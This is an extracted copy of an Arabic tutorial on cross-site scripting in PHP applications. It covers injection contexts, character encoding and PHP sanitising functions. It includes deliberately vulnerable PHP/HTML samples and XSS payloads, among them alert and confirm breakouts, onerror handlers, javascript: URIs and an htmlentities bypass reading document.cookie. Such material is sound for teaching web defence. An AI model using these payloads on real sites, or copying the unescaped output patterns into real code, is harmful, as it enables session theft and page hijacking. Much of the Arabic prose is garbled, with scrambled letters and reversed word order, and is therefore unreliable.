h4cksc4n.files.wordpress.com€¦  · web view · 2016-12-04var valid = username.match(/^[a-za...

41
XSS Vulnerable In web appliaction ه ركات ب له و ال مه ح م ور ك ي ل ع لام س ل ا رات غ" ث اف" س كتر اطا ا ي ف مه ه م ع ي ض وا م ر عدة ك5 د ي س ال ق م ل ا ا هد ي فxss ء ر ج ل ا له م ك ت ر ب ت ع ث" ث ي ح ي ل ا ي ل ط ا راب ل ي ا عل ر ف و ت م ه دوت ج ت ي لت ا ق ب سا ل ا ي ل ا ي ل ط ا راب ل ادوال ي ال عل سه ل ج ل ا ة هد ي ف رف غ ي5 سن، ( ب ي و لر ا ب و ط ب ه غ ل ل ي ف ركه ب" س م ل ا ه ي منلا اPhp built-in functions مهi ئ ا ق رض غ ي س ن و) ب ي و ل ا رات غ" ثp ن م ه مات حل ل ب ي و ل ا وري مط ها م د ج ت س ن رات ا ي حp ن مXSS . ، دمه ج ل ا ف ي ل كا ت ث س ح و ب ل ط ت م ل ا ث س ح ث س نلار ا ا ي خ ل ي ا علً ماi ئر دا ا ي ت خلا ع ا ق ثر ب و ط ت لء ا ا ي ث ا ار ي ت خ م ا ت ث ه مادت ل ا ه ي ح ا ي ل اp ن م ، و ه ج م ر لب ا ه غ ل ل م عل يل ل ء ي فا الك ث ق و ل ا ض ع ي ل ا لك م ئ ث ق و ل ا ه ي ح ا تp ن م ف له كام ت مر ب و ط ب ات يi ن ب اك ي ه ف، ه ي ف ي ظ و لم ا ها م ل س ا ف ث ل م ع ل ل ة ر ه ا ع خ ي ار" س مframework Php ه غ ل ل ، فPhp (Personal Home Page ) p ن مً ساساi ا ث م م ص ه ي§ ت ع" ش ر" كبلا ا ي ل وا حً ا ي ثر ق ث ها م د ج ت س ن، ب ي و ل ا ات ق ي§ ت ط ب ه ج مر بر و ب و ط ت ل ها م دا ج ت س ل ا خ ا81.7 و ح ت و% % 80 p ن م رات غ" ث ها ي لد ب ي و ل ا ات ق ي§ ت ط بXSS Php رات غ" ث اف" س كت اXSS ي ن ا" ي ل ء ا ر ج ل – ا

Upload: hoanghuong

Post on 14-Apr-2018

219 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

ibute

XSS Vulnerable In web appliaction

وبركاته الله ورحمة عليكم السالمثغرات اكتشاف اطار في مهمة مواضيع عدة سنذكر المقال هذا حيث xssفي

التالي الرابط على متوفر تجدونه التي السابق الجزء تكملة الرابطيعتبرللغة التالي في المشتركة االمنية الدوال على الجلسة هذة في سنتعرف ،

الويب ) خيارات( Php built-in functionsتطوير من قائمة ونستعرضالويب ثغرات من للحماية الويب مطوري .XSSيستخدمها

وحسب المتطلب حسب االنسب الخيار على دائما االختيار يقع التطوير اثناءللغة للتعلم الكافيء الوقت البعض يملك الوقت ناحية فمن ، الخدمة تكاليف

المهام نفس للعمل جاهزة مشاريع اختيار يتم المادية الناحية ومن ، البرمجةمتكاملة تطوير بئيات فهناك ، للغة framework Phpالوظيفية ف ،Php

)Personal Home Page ( استخدامها اجل من أساسا صممت شعبية االكثرحوالي تقريبا يستخدمها ، الويب تطبيقات وبرمجة 80ونحو% %81.7لتطوير

ثغرات لديها الويب تطبيقات XSS Phpمن

ثغرات الثاني – XSS إكتشاف الجزء

Page 2: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

المحتويات :

المتكاملة ) .1 التطوير ( FrameWork Php بئيات

2.Html Context

3.URL Context

4.Attribute Context

5.Script Context

6.Style Context

7.Web Escaping and Encoding

االنترنت .8 شبكة في مفاهيم

ثغرات .9 XSS منع

في .10 مشتركة برمجية Php دوال

ثغرات .11 من للحماية مخصصة XSS حلول

12.FrameWork code Igniters

الخاتمة .13

المتكاملة ) التطوير (FrameWork Phpبئيات

المتكاملة التطوير بيئات مع أسهل من Frameworkالحياه العديد يجمع الذيمهامة اداء المطور على تسهل التي والنماذج البرمجية والحلول الوظائف

التطوير بئيات من مجموعة تلخيص ويمكن اداء وافضل النتائج بأفضلثغرات من الويب تطبيقات للحماية يلي :-XSSالمستخدمة كما

codeIgniter الويب تطبيقات الف بل مئات من أكثر يستخدمه الذيhtmLawed بموديل على Drupal الموجود تحميل نسبة بأكثر

GitHubHTML Purifier تسمى اخرى عمل بئية مع Yii المتضمن

Page 3: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

Nette من عمل فريق قبل من المقدم العادية تطبيقات في المستخدمالتشيك جمهورية

بئيةPHP Input Filter من اكثر على يحتوى phpملف 1500الذيGitHubعلى

PEAR's HTML Safe وCakePHP بنحو ملف 20المستخدم الفمشاريع GitHubبضمن

Laravel PHP framework عام في عمل بئية كأفضل 2013الرابح .....إلخ

موقع على ومتوجده متؤفره الحلول االنظمة Repository GitHubكل وكل ، إحترافية ويب تطبيقات للبناء الويب مطوري لدى كبير دور تلعب السابقة

التطوير زمن من تخفض بأخر او بشكل التي جاهزة كائنات على بإاالعتمادواحدة بتعليمة كتابة ممكن صفحات باربع المكتؤب فالتطبيق

ان و codeIgniterيبدو االشهر مميزات هو ضمن هي codeIgniterمنالتطوير نماذج بناء و اإلدخال من الختيار Inernationalizingو MVCالتحقق

هنا يهمنا ،وما الميزات من والكثير عربي فرنسي انجليزي سواء العرض للغةكما الويب ثغرات من البيانات لحماية االمنية الكالسات أو الموديالت نعرف ان

كالس مع السابق الجزء في code Igniters CI_Securityشاهدنا

والتعرف" العمل بئيات لمختلف التجاوز تقنيات نهج الجزء هذا في نستعرضحماية اآلليات هذه لتجاوز الهجوم معامالت تجاوز. XSSعلى لنا XSSليتبين

التي القضايا من غيرها عن تقرير وتقديم والقديمة الحديثة المتصفحات في . مطوري اعترف وقد هذه الحماية آليات في ,CodeIgniter وجدت

htmLawed, HTML Purifier ,Nette هذة تنفيذ وتم إليها توصل التي النتائجلتضمين العمل أطر في " CodeIgniter, htmLawed , Netteالمقترحات

Html Context

بعض سنقدم المقال هذا وفي السابق الجزء في السياق على تعرفنا لقدثغرات بضمنها تحتوي التي XSSاألمثلة

Html Context تأجات بضمن المستخدم مدخل المثال htmlيكون سبيل علىتأج > < bodyفي

<body><?php echo filter_function($_POST['input']);?></body>

شرح الى يحتاج وال بسيط المثال

Page 4: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

<!DOCTYPE html><html><head><style type="text/css"><!--body , p {color: #FFFFFF;}body {background-color: #000000;}--></style><title>Simple XSS vulnerability</title><body><form action="XSS.php" method="post"><div align="center"><p> Simple Xss in HTML Context </p><strong>Search:</strong><input name="Vulnerability" type="text" id="Vulnerability" /></td>

<input name="submit" type="submit" value=" Search it !" /></div></form></body></html>

Xss.php

<?phpif(isset($_POST['Vulnerability'])){ echo " Search result : { htmlentities($_POST['Vulnerability'])} <br />" ; } ?>

الفتلره دالة احدى htmlentitiesبإزالة ادخال عند اسكربت الجافا كود ينفذالتالية االكواد

>scritp<alert)1(>/script<

هذا حتى أو"<>script<alert)1(>/script<

URL Context

Page 5: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

<a href='<?php echo filter_function($_POST['input']);?> '>URL Context </a>

بثغرة مصاب التالي الكود اخر سياق XSSبشكل URL Contextفي

<html><head><style>body { padding-top: 40px; padding-bottom: 40px; background-color: #eee;}</style><!-- Latest compiled and minified CSS --><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">

<!-- jQuery library --><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

<!-- Latest compiled JavaScript --><script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head><body>

<form class="form-horizontal" ><!-- Button trigger modal --><button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#myModal"> Add Link</button>

<a href="<?php if(isset($_POST['URL']) { print $_POST['URL']; }?> "> <img src="http://us.123rf.com/450wm/alexwhite/alexwhite1502/alexwhite150202021/36558781-link-icon-chain-sign.jpg" alt="..." class="img-rounded" /></a>

<!-- Modal --><div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>

Page 6: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

<h4 class="modal-title" id="myModalLabel">Modal Link </h4> </div> <div class="modal-body"> <div class="form-group"> <label class="control-label col-sm-2" >Name:</label> <div class="col-sm-10"> <input type="Text" class="form-control" id="name" placeholder="Enter Name"> </div> </div> <div class="form-group"> <label class="control-label col-sm-2" >URL:</label> <div class="col-sm-10"> <input type="Text" class="form-control" id="URL" placeholder="Enter URL"> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <input type="submit" class="btn btn-primary" /> </div> </div> </div></div></body></html>

في إلى Formيضمن العنوان ورابط أسم المستخدم مدخالت الخارجيعنوان تعرض التي جافا urlالصفحة كود اضافة تجرب وعند للعملية كمدخل

على نحصل المدخل في أو العنوان شريط في ويمكنك)( alertاسكربتبالنسبة صعبا شيء يعد فلم الفتلره دوال في الهجوم معامالت كافة تجريب

لديك Attribute Context

لخاصية كأسم اسكربت الجافا كود تحقن الهجوم معامالت الشيء نفسبإستخدام URI JAVASCRIPTبطريقة للخاصية جديدة وقيمة كأسم أوeventHandlerاالحداث

<div class='<?php echo filter_function($_POST['input']);?>' > attribute Context </div>

<div class="javascript:alert(1)" > Value attribute Context</div>

<div class="" onerror=alert(1) > Name attribute Context </div>

Page 7: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

Script Context

على اسكربت الجافا كود يحقن ان يمكن االسكربت سياق في الشيء نفسالشكل بهذا نفسها المتغيرات

<script>var a='<?php echo filter_function($_POST['input']);?>';</script>

الهجوم Xss Script Contextمعامالت

";confirm(1);"';confirm(1);'</script><script>confirm(1);</script>

: بيانات تمرر طريقة أوال لنفهم المثال سبيل formإلى formمن hiddenعلىاخرى

<form action="someform.php" method="post"> Name: <input type="text" name="Name" value="Jim" /><br /> Password: <input type="password" name="Password" /><br /> Age: <input type="text" name="Age" /><br /> <input type="submit" /> </form>

<input type="hidden" name="Name" value="<?php print $_GET['Name']; ?>" /><input type="hidden" name="Password" value="<?php print $_GET['Password'];?>" />

مدخالت بيانات تطبيق Formمن hiddenترسل إلى يصل ان إلى أخر الىبيانات إرسال وعملية البيانات يعالج بدوره الذي السيرفر تكون hiddenجههالحقول وتعديل البيانات اعتراض يستطيع هكر اي الن خطرة

بيانات إلرسال األخرى استخدام Formالطريقة طريق بحيث jqueryعنالفورم بيانات السيرفر hiddenتمرير جهه كود ticTacToe.phpالى

<!DOCTYPE html><html> <head> <title>Game Site :: Tic Tac Toe</title> <script src="jquery-2.1.4.min.js"></script> </head> <body>

Page 8: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

<h2>Tic Tac Toe</h2>

<a href="javascript:void 0;" onclick="startGame();">Start a Game</a><br /><br /><a href="javascript:void 0;" onclick="joinGame(1);">User: Usamnet</a>

<script type="text/javascript" language="javascript"> var startGame, joinGame;

$(document).ready(function() { var url = "/ticTacToe.php";

startGame = function() { var username = prompt('Enter a username to start a game.', '');

//if(username != null && username.trim().length > 0&& validateUsername(username)) post({action: 'start', username: username}); };

joinGame = function(gameId) { var username = prompt('Enter a username to join this game.', '');//if(username != null && username.trim().length > 0 && validateUsername(username))

post({action: 'join', username: username, gameId: gameId}); };

var validateUsername = function(username) { var valid = username.match(/^[a-zA-Z0-9_]+$/) != null; if(!valid) alert('User names can only contain letters, numbers ' +'and underscores.'); return valid; };

var post = function(fields) { var form = $('<form id="mapForm" method="post"></form>') .attr({ action: url, style: 'display: none;' }); for(var key in fields) { if(fields.hasOwnProperty(key)) form.append($('<input type="hidden">').attr({ name: key, value: fields[key] })); } $('body').append(form); form.submit(); }; }); </script> </body></html>

Page 9: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

نوع من الكود في ثغرة أسم script Contextيوجد المستخدم يدخل عندما ، Player ثغرة يسبب قد الذي اسكربت جافا متغير إلى XSSيضاف ايضا ،

ال بارميترات كاحدى المتغير هذا السيرفر Formيرسل جهه في

<?php print "Your name: {$_POST['username']}<br />"; print "Your password: {$_GET['action']}<br />"; print "Your age: {$_GET['gameId']}<br /><br />";?>

استخدام دون من السابق الكود تنفيذ التي ()validateUsernameجربان يمكن ايضا ، العميل جهه في المستخدم اسم مدخل صيغة من تتحققتجاهل يمكن انة بينهما والفرق السيرفر جهه في تحقق على التطبيق يحتوي

المتصفح . على اسكربت الجافا أكواد تفعيل بعدم العميل جهه في التحققStyle Context

<div style='<?php echo filter_function($_POST['input']);?>' > CSS Context </div>

Web Escaping and Encoding

لعمل طريقة الف احتماالت encodingهناك فمثال الفلترات بعض للتجاوزالصورة< scritpتشفير > على

Page 10: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

هناك التطبيق في ان نعرف ان علينا الذي المهم الشيء قد decoderلكن أوهناك يكون إلنهاء "; decoderال عالمة استخدام يجب الحالتين كال وفي ،

عمل يمكن ثم اسكربت encodingالسياق الجافا كود يحقن لن وإال شيء اليالعمل هذا يوضح المثال وهذاhttp://jsfiddle.net/4eqK4/2/

http://jsfiddle.net/TM679/5/

اإل اسكربت الجافا كود ينفذ لم كيف رينا االول المثال في عنة نتحدث ما هذابكتابة "; "; سطر كل تعديل الثاني المثال وفي ، واضح بشكل السياق بإنهاء

عمل ثم من المقدمة شيء encodingفي ألياالنترنت شبكة في مفاهيم

الكمبيوتر الحاسوب جهاز في المستخدم الترميز من الله شاء ان هنا سنبدأUnicode ترميز هو نراها Unicodeفما والتي الحواسيب في المستخدم

البرمجة وللغات الويب وتطبيقات المحررات مختلف في يومي بشكلUnicode في والمراجع واألرقام األحرف لترميز الترميز أنواع من نوع هو

ترميزات هناك ان نعلم نحن ، ascii codeيسمى character setالحاسوبجميع في هناك ان نعلم ايضا ، الحاسوب في والرموز واألرقام األحرف لترميز

الحاسوب إلى مضافه تكون اللغات هذة ، اللغات من الكثير يوجد العالم انحاءما ايضا هناك ، وارقامها ورموزها بإحرفها الحاسب لتعريف بياناتها لتعريف

ك السيطرة باحرف االحرف tab, newline, carring returnيعرف من وغيرها دائما بالتحديد الثالثة االحرف لكن العملية مدخل على السيطرة هدفها

اكواد في الترميزات xmlو htmlتستخدم استخدام الحمايات به قامت فما ، encoding hex ، encoding decimal وenitity html الويب صفحات في

حرف لكل فأن الترميز إلية نفهم جدول Unicodeولكي في يقابله asciiماcode وNonascii code ترميز بوضع تتفق معيارية للجنة هناك حيث ،

مثل المستخدم والمعيار والصيغه اللغة بحسب اللغات جميع في -utfلالحرف8 ،Utf-16 ، Utf-32 وANSI ... معيار يستخدم المثال سبيل على ، utf-8وغيرها

يحتوي ، واحد ترميز جدول في اللغات لمختلف االحرف علىUTFللتوحيدعلى يقل وال بايت أربعة على يزيد ال بحيث الواحد الحرف لتمثيل بايت أربعة

ترميز في بايت االربعة لكل الجدول وهنا ، واحد utf8بايت

Page 11: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

Numberof

bytes

Bits forcode point

Firstcode point

Lastcode point Byte 1 Byte 2 Byte 3 Byte

4

1 7 U+0000 U+007F 0xxxxxxx

2 11 U+0080 U+07FF 110xxxxx 10xxxxxx

3 16 U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx

4 21 U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

الترميز utf-8جدول

بعض توضع ، رقم أو رمز أو محرف لكل البايت عدد الجدول في نرى كماجدول وهو االول البايت في من ascii codeاالحرف قيم 255الممثل و حرف

Non ascii االكثر للوضع المدى يتفاوت الحقيقة في ، اعلى قيم في توضعبياتات عدد في بكثرة مستخدمة الغير القيم بينما صغرى قيم في أهمية

كاثنين يمثل دائما ، بايت عدة من ممثل كود يوني حرف ولكل أيضا ، اعلىيستخدم وهنا الويب، تطبيقات في معيار لكل موحدة كصيغة بت وعشرون

مع UTF-8معيار القيم بيانات Unicodeللتناسب على االطالع يمكن ، Unicode الرابط في حرف لكل

https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references

إلى كود اليوني حرف للتحويل مثال سنذكر التالي ليتبن encoding Hexفيالويب صفحات في االحرف تمثيل لنا

اليورو : عملة حرف , €Euro sign مثال

الجدول في U+20ACيمثل

Page 12: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

حرف - تحويل اردنا نقوم "€"  اذا ، العشري أو عشر السادس الترميز إلىبين ما محصور العدد ان نجد الجدول على U+0800 and باالطالع

U+FFFF له لعمل بايت ثالثة على يحتوي الرمز هذا ان encodingبمعنيالهكس - الثنائي 20ACقيمة في لها 1100 1010 0010 0000المقابل

في كما هذا معني الصفر الى تقود االمام في التي االصفار االثنينمن بداية الرقم نتقدم فاننا بايت (...1110)الجدول اربعة اول ليصبح

code point الرقم يليها (1110 0010)ثماالن - لنا نتقدم bit code point-12يتبقى الشيء كود  10نفس لليوني

الشكل بهذا مخزن يليها (0010 1000لتصبح (1100 1010)ثم

بايت - الثالثة 1110 0010بهذة  1000 0010 اتمننا 1100 1010  قد نكونعشر السادس ترميز في لها المقابل E2 82 AC العملية

االخرى االمثلة بعض وهنا

Character Binary code point Binary UTF-8 Hexadecimal UTF-8

$ U+0024 010 0100 00100100 24

¢ U+00A2 000 1010 0010 11000010 10100010 C2 A2

€ U+20AC 0010 0000 1010 110011100010 10000010 1

0101100E2 82 AC

𐍈 U+103480 0001 0000 0011 0100

1000

11110000 10010000 1

0001101 10001000

F0 90 8D 8

8

صفحات في والترميز المحتوى نوع تعريف سياق في اخرى , htmlمفاهيمxml

صفحات في الترميز نستخدم character setأو xmlلتعريف <?xml version="1.0" encoding="UTF-8"?>

Page 13: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

لغة لكل Phpفي الترميز ب headerيوضع الصفحة في مرسل header('Content-Type: text/html; charset=utf-8');

صفحات تعريف تأج htmlفي بضمن الترميز metaيستخدم

<meta http-equiv="Content-Type" content="text/html;

charset=utf-8">

للبيانات الترميز تعريف يمكن formأو

<form accept-charset="utf-8">

هو accept-charsetالمتغير دائما االفتراضي ، الترميز معيار -ISOيعرف8859-1 (or Latin 1) ( ملف في استخدم ( server.iniأو المثال في utf-8كما

إلى للتحويل اسهل فهو المعايير كل في االحرف Unicodeللتمثيل وايضافي ويمكن ، اللغات جميع على محتوى Formيتعرف نوع تعريف ايضا

Enctype هو دائما االفتراضيء ،  application/x-www-form-urlencoded، عالمة والقيمة المتغير اسم بين يفصل المعلومات العميل أرسال عند بمعني

عنوان& في المعلومات جميع استخدم URL Encodingوترسل إذا ويفضل ، المعيار هناك character setاحدى يكون ان التطبيق URL Decodingفي

محتويات لفك السيرفر جهه في المثال Formواضح سبيل على<form action="yourProcessPage.php" method="POST" accept-charset="utf-8"><input name="string" value="string" />...</form>

yourProcessPage.php

$string = $_POST['string'];$string = mb_convert_encoding($string, "CP1251", "UTF-8");

الترميز المهاجم تجاوز حال في الخطر يكمن URL Encodingولكنالتي اللغة او الصنية او اليابانية مثل اخرى للغة واحرف رموز بإستخدام

هكذا المدخل ترك الخطر من فسيكون ، التطبيق عليها يتعرف

<?php$_POST['fname'] ="<script>alert(1);</script>";echo $_POST['fname'];

Page 14: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

echo utf8_decode($_POST['fname']);echo rawurlencode(utf8_decode($_POST['fname']));?>

ال محتوى المتغير Formنوع الخيارات Enctypeفي احد ك يحدد ان يمكنالتالية :

Value Description

application/x-www-form-urlencoded

Default. All characters are encoded before sent (spaces are converted to "+" symbols, and special characters are converted to ASCII HEX values)

multipart/form-data  is a content type created to be able to send binary data in forms, such as binary files. The content type is described in RFC 2046 , and No characters are encoded. This value is required when you are using forms that have a file upload control

text/plain is introduced by HTML 5 and is useful only for debugging, ,Spaces are converted to "+" symbols, but no special characters are encoded

جدول يسمى االلي للحاسب ترميز بإبتكرار العلماء وجد code asciiقام الذياالكترونية واالجهزة الهاتف الجهزة بالنسبة وكذلك القيم محصور جدول انة

لترميز تستخدم معايير عدة يوجد لذلك ، Nonasciiو ascii codeاالخرىcode ما والى والعربية واالنجليزية االلتنية االحرف مثل اللغات جميع لضم

عام في بالتحديد الكمبيوتر صناعة بداية ومنذ ، ذلك الترميز 1992الى اصبحUnicode االقل على حرف لكل يشمل فهو ، االوحد المعياري الترميز 21هو

القيمة نوع تخصص البرمجة في نعلم ونحن ، إي char 1بت لذا 8بايت بتصيغة الى الحرف بتحول الترميز جدول مع يتناسب ان المترجم على ينبغي

unicode سبيل على الحاسوب، في المستخدمة المعايير لجميع الموحدةتحديد في صيغة utf-8المثال للتوحيد مالئمة لتكون البايتات جميع تضم

Page 15: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

unicode فيما وهكذا البيانات فهم الحاسب يستطيع حتى المطلوب بالشكلال لجميع المختلفة المعايير Nonascii codeو ascii codeبين

عمود في مقابل له الترميز جدول في حرف لكل ان المعلوم من HexايضاEncoding وdecimal Encoding وHTML5 enitity Encoding

جدول في كود اليوني فإحرف ، معيار كل مع القيم قيمها utf-8تختلف تختلفمعيار utf-32عن فمثال ألخر معيار من للتحويل المطور يحتاج قد الغالب في ، االصلية utf-8 encodingيستخدم لقيمها وارجعها البيانات -Utfلتشفير

8_decoding.

باستخدم الويب تطبيقات في البيانات ترميز باالمكان character setهكذاعلى أو الصفحة برمجية formفي دوال استخدام عبر البيانات تلك تمرر أو

االفتراضي )utf8_encode )( , utf8_decode )كالـ من الماره البيانات لتحويلISO-8859-1 string إلىutf-8 من .ISO-8859-1إلى utf-8أو

الوظائف من العديد يوجد كالداله phpايضا المعياير مختلف بين لتحويلmb_convert_encoding)( 

للصفحات الرجوع عن phpيمكن فكرة واخذ الدوال بعض لمراجعه ،، الموضوع

بيانات URL Encodingترميز ارسال للعملية استخدم formالمخصص أذا ، تضمين هنالك يكون ان ينبغي المعيار ، Url Decoderاحدى السيرفر جهة في

بيانات بإرسال قمنا اذا URL Encodingفمثال

<?phpecho '<a href="mycgi.php?foo=', urlencode($userinput), '">';?>

الشكل بهذا السيرفر جانب في البيانات نستلم سوف<?php

$_POST["Foo"] = "one%20%26%20two";$a = urldecode($_POST["Foo"); // -> "one & two"

?>

دالة طريق عن الترميز فك ويتم الترميز على البيانات ،)( urldecodeتحتوياستعمل غالبا التطوير بإستخدام AJAXواثناء العميل جهه من طلب لطلب

االستعالم & get or postطريقة قيم لفصل عالمة مع بيانات على تحتوي التيالبيانات تشفير طريقة وتكون ،encodeURIComponent)(  بلغةjavascript السيرفر جهه تطبيق إلى دالة Phpلتمرر )( urldecodeفي

Page 16: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

كائنات للفحص وظائف استخدم فقد االختيار يتم الطلب حسب في htmlعلىوالمطابقة للفحص السيرفر جهه إلى تمرر ويمكن المستخدم مدخالت

أو عشر السادس كالترميز االستبدال أو واالرقام والكبيرة الصغيرة لالحروفالتطبيق يظهر ان تريد كما شيء أي

<?php$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);echo '<a href="mycgi.php?' . htmlentities($query_string) . '">';

function utf8_urldecode($str) { $str = preg_replace("/%([0-9a-f]{3,4})/i","&#x\\1;", urldecode($str)); return html_entity_decode($str,null,'UTF-8');; }?>

ثغرات htmlenitiesدالة من التطبيق لها XSSلحماية النظيرة والدالةhtml_enity_decode االمثلة بعض ذكر على سناتي االصلية البيانات إلرجاع

المعايير هنا نعرف ان المهم ، لذلك تقلق فال بعد فيما الدوال هذة علىالرابط هذا وكمرجع للحاسوب العالمية المقاييس في المستخدم الموحدة

: الحاسب اجهزة في واالستخدامات الصيغ جميع يلخص ان يمكنhttp://www.w3schools.com/charsets/default.asp

ثغرات XSSمنع

المدخالت - من التحقق-Escaping / Encoding النصوص للمدخالت-Whitelist / Blacklist المشتركه - البرمجية الدوالالمخصصة - الحلولحقول - عدة مع الكوكيز استخدامالمتكاملة - التطوير بئيات استخداماالسكربت - تفعيل عدم

في المشتركة البرمجية :Phpالدوال

trim)(

المسافات ) بحذف الدالة هذة ,space , tab, newline, carring returnتقومnull byte and vertical tab : )المثال سبيل على النصوص ونهاية بداية من

Page 17: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

<?php // trim the ASCII control characters at the beginning and end of $string = "\t\tThese are a few words :) ... \n";print $string;?>

Strip_tags)(

تاجات بحذف الدالة عملية htmlتقوم في الثاني البارميتر تاجات عاد ما ، الحذف

<?php$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';echo strip_tags($text);echo "\n";

// Allow <p> and <a>echo strip_tags($text, '<p><a>');?>

المتصفح : إلى العملية مخرجاتTest paragraph. Other text<p>Test paragraph.</p> <a href="#fragment">Other text</a>

Htmlenitities)(

مثل " ، ثغرة خالها من يحدث ان يمكن التي االحرف جميع بحذف الدالة تقومإلى > يصبح > &html enitity encodingو المثال سبيل نفس; ltعلى و ،

الدالة الخاصة )htmlspecialchars)$query_stringالعمل الخمسة لالحرف انها اال

<!DOCTYPE html><html><body>

<?php$str = 'Un \'apostrophe\' en <strong>gras</strong>';

// Affiche : Un 'apostrophe' en &lt;strong&gt;gras&lt;/strong&gt;echo htmlentities($str);

// Affiche : Un &#039;apostrophe&#039; en &lt;strong&gt;gras&lt;/strong&gt;echo htmlentities($str, ENT_QUOTES);

Page 18: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

?>

<p>we don't allow &lt;b&gt; tags to be used.</p>

</body></html>

مستلمة بيانات إلعادة اإلستعالم في المدخل النصوص بيانات بتحويل تقومString شكل كنصوص html enitity encodingعلى تعرض النصوص فكلString ، نصوص يعتبرها بل التأجات المتصفح يترجم وال المتصفح على

المخرجات :Un 'apostrophe' en <strong>gras</strong>Un 'apostrophe' en <strong>gras</strong>

we don't allow <b> tags to be used.

htmlspecialchars)$query_string( إلستالم االستعالم نصوص بيانات بتحويل تقومشكل على على html enitityبيانات مطبقة السابقة الدالة ان االختالف لكن

تأجات خاصة htmlكل رموز تستخدم الطريقة هذة بينما التأج مراجع ولكلتأجات على ;apos& وهم : htmlللتعرف  , &quot; , &amp; , &lt; , and &gt;

حماية Htmlenititiesتجاوز

حماية عالمة Htmlenititiesلتجاوز تمقدمه طريق عن االحداث نستخدماسكربت الجافا كود وحقن السياق إلنهاء الفردية االقتباس

<?php$_GET['a'] = "#000' onload='alert(document.cookie)";?>

XSS possible (insecure):

<?php$href = htmlEntities($_GET['a']);print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>?>

الخيار بوضع نقوم التطبيق االقتباس ENT_QUOTESولحماية عالمة لترميزالفردية

<?php$href = htmlEntities($_GET['a'], ENT_QUOTES);print "<body bgcolor='$href'>"; # results in: <body

Page 19: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>?>

سياق في االدخال كان اذا خصوصا الكفاية فيه بما أمن ليس التطبيق هذا مع)URL Context )hrefالروابط

<?php$_GET['a'] = 'javascript:alert(document.cookie)';$href = htmlEntities($_GET['a'], ENT_QUOTES);print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>?>

Stripslashes)(

إلى )\( )\\( )\( ايضا تحول وهي النصوص من سالش الباك تحذف الدالةواحدة

الدالة الى نحتاج البيانات قواعد في عالمة )addslashes)stringاحيانا إلضافةاالستعالم \ ) ( مالئم ليكون مزدوجة أو فردية االقتباس عالمات كل مع السالشعلى اليدوية الطريقة نستخدم الدالة هذة تضمن لم واذا البيانات للقواعد

المثال سبيلlocation.href="next_page.php?name=O%27Riley"; // $_GET['name'] == O\'Riley

